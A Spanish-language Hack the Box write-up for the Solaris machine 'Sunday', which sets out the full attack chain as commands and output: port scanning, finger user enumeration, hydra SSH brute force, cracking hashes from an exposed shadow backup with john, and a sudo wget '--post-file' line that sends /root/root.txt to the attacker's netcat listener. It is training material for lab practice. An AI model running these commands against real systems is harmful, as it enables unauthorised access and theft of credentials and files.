Sunday Writeup

FácilSolaris
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
a3d94980...
#Root Flag
fb40fab6...

En este writeup vamos a ver cómo resolver la máquina Sunday de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.76

El TTL que tiene es de 254 por lo que nos enfrentamos ante una máquina Solaris.

El siguiente paso es hacer un escaneo de puertos:

$ nmap -p- --open -T5 -v -n 10.10.10.76 -oG ports

Podemos ver que tiene los siguientes puertos abiertos:

PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) 22022/tcp open ssh SunSSH 1.3 (protocol 2.0) | ssh-hostkey: | 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA) |_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA) 40979/tcp open unknown 62535/tcp open unknown

Como esto no nos da mucha más información vamos a ejecutar otro tipo de escaneo de puertos:

$ nmap -p- -A 10.10.10.76 --open -v -oN ports

Con este ya vemos que ha aparecido un puerto nuevo:

PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd |_finger: ERROR: Script execution failed (use -d to debug) 111/tcp open rpcbind 22022/tcp open ssh SunSSH 1.3 (protocol 2.0) | ssh-hostkey: | 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA) |_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA) 62535/tcp open unknown Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Veamos a ver que hay en el puerto 79:

$ nmap -p79 -Pn -sC -sV 10.10.10.79 PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd |_finger: No one logged on\x0D Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Es un servicio llamado finger de Sun Solaris fingerd.

Lanzamos metasploit para buscar si existe algún exploit disponible:

$ msfconsole msf6 > search finger msf6 > use scanner/finger/finger_users msf6 > show options msf6 > set RHOST 10.10.10.76 msf6 > exploit

Y obtenemos los siguientes usuarios:

[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: adm [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: lp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: uucp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: nuucp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: dladm [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: listen [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: bin [+] 10.10.10.76:79 - 10.10.10.76:79 Users found: adm, bin, dladm, listen, lp, nuucp, uucp [*] 10.10.10.76:79 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Podemos utilizar el script de finger-user-enum de este repositorio https://github.com/pentestmonkey/finger-user-enum

para intentar localizar más usuarios:

Después de clonar el repositorio nos descargamos este diccionario:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt

O también podemos utilizar las listas de seclists instalando lo siguiente:

$ sudo apt-get install seclists

Y lanzamos el script:

$ ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76

Después de un rato encontraremos estos dos usuarios:

usuarios
usuarios

Podemos utilizar el comando finger para ver más información de cada uno de los usuarios, obtendremos algo como esto:

$ finger -ls sunny@10.10.10.76 Login name: sunny In real life: sunny Directory: /export/home/sunny Shell: /bin/bash Last login Tue Apr 24, 2018 on pts/3 from 10.10.14.4 No unread mail No Plan.

Podemos usar hydra para intentar hacer un ataque de fuerza bruta contra el ssh. Para ello:

$ hydra -V -I -l sunny -P '/usr/share/wordlists/rockyou.txt' 10.10.10.76 ssh -s 22022

Después de un rato encuentra la contraseña sunday para el usuario sunny.

Capturar User Flag

Si tratamos de conectarnos por ssh nos dará un error en la negociación de certificados, tenemos que añadir la siguiente opción al comando:

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022

Una vez dentro podemos hacer un sudo -l para ver qué permisos tiene este usuario:

Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 sunny@sunday:~$ id uid=65535(sunny) gid=1(other) groups=1(other) sunny@sunday:~$ sudo -l User sunny may run the following commands on this host: (root) NOPASSWD: /root/troll

Podemos buscar el fichero user.txt con el siguiente comando:

$ find / -name user.txt 2>/dev/null $ /export/home/sammy/Desktop/user.txt sunny@sunday:/export/home$ cat /export/home/sammy/Desktop/user.txt cat: /export/home/sammy/Desktop/user.txt: Permission denied

Si ejecutamos como root el script /root/troll obtenemos lo siguiente:

sunny@sunday:~$ sudo /root/troll testing uid=0(root) gid=0(root)

Esto lo podremos utilizar después para escalar privilegios pero antes movámonos al directorio /backup

Ahí vemos dos ficheros:

sunny@sunday:/backup$ ls -ltr total 2 -rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup -r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup

Si hacemos un cat del fichero de shadow vemos lo siguiente:

sunny@sunday:/backup$ cat shadow.backup mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Vemos que los usuarios sammy y sunny tienen hashes de contraseña.

Si intentamos hacer un cat del fichero agent22.backup no nos dejará por falta de permisos.

Vamos a descargarnos el fichero shadow.backup por scp:

$ scp -P22022 -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76:/backup/shadow.backup .

Una vez lo tenemos en nuestra máquina vamos a tratar de descifrar los hashes utilizando john the ripper:

Para eso abrimos el fichero y seleccionamos el hash de sammy y lo pegamos en un fichero nuevo.

$ john --wordlist=/usr/share/wordlists/rockyou.txt sammy.hash

Tenemos la contraseña de sammy:

$ john --show sammy.hash ?:cooldude! 1 password hash cracked, 0 left

Nos conectamos por ssh con este usuario:

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sammy@10.10.10.76 -p 22022 Password: Last login: Fri Jul 31 17:59:59 2020 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 sammy@sunday:~$ id uid=101(sammy) gid=10(staff) groups=10(staff) sammy@sunday:~$ sudo -l User sammy may run the following commands on this host: (root) NOPASSWD: /usr/bin/wget

Vemos que puede utilizar wget como sudo sin tener que poner contraseña.

El fichero con la USER Flag se encuentra en /export/home/sammy/Desktop/user.txt

Capturar Root Flag

Para conseguir la ROOT Flag nos tenemos que aprovechar de que sammy puede ejecutar wget como sudo. Para ello vamos a abrir una terminal con una conexión de netcat escuchando.

$ nc -nvlp 4444

En la máquina vulnerada ejecutamos lo siguiente:

$ sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.7:4444

Y automáticamente tendremos la ROOT Flag en nuestro netcat:

connect to [10.10.14.7] from (UNKNOWN) [10.10.10.76] 39164 POST / HTTP/1.0 User-Agent: Wget/1.10.2 Accept: */* Host: 10.10.14.7:4444 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 33 fb40fab61d99d37536daeec0d97af9b8

También te puede interesar

Tartarsauce Writeup

Tartarsauce Writeup

Tenet Writeup

Tenet Writeup

Valentine Writeup

Valentine Writeup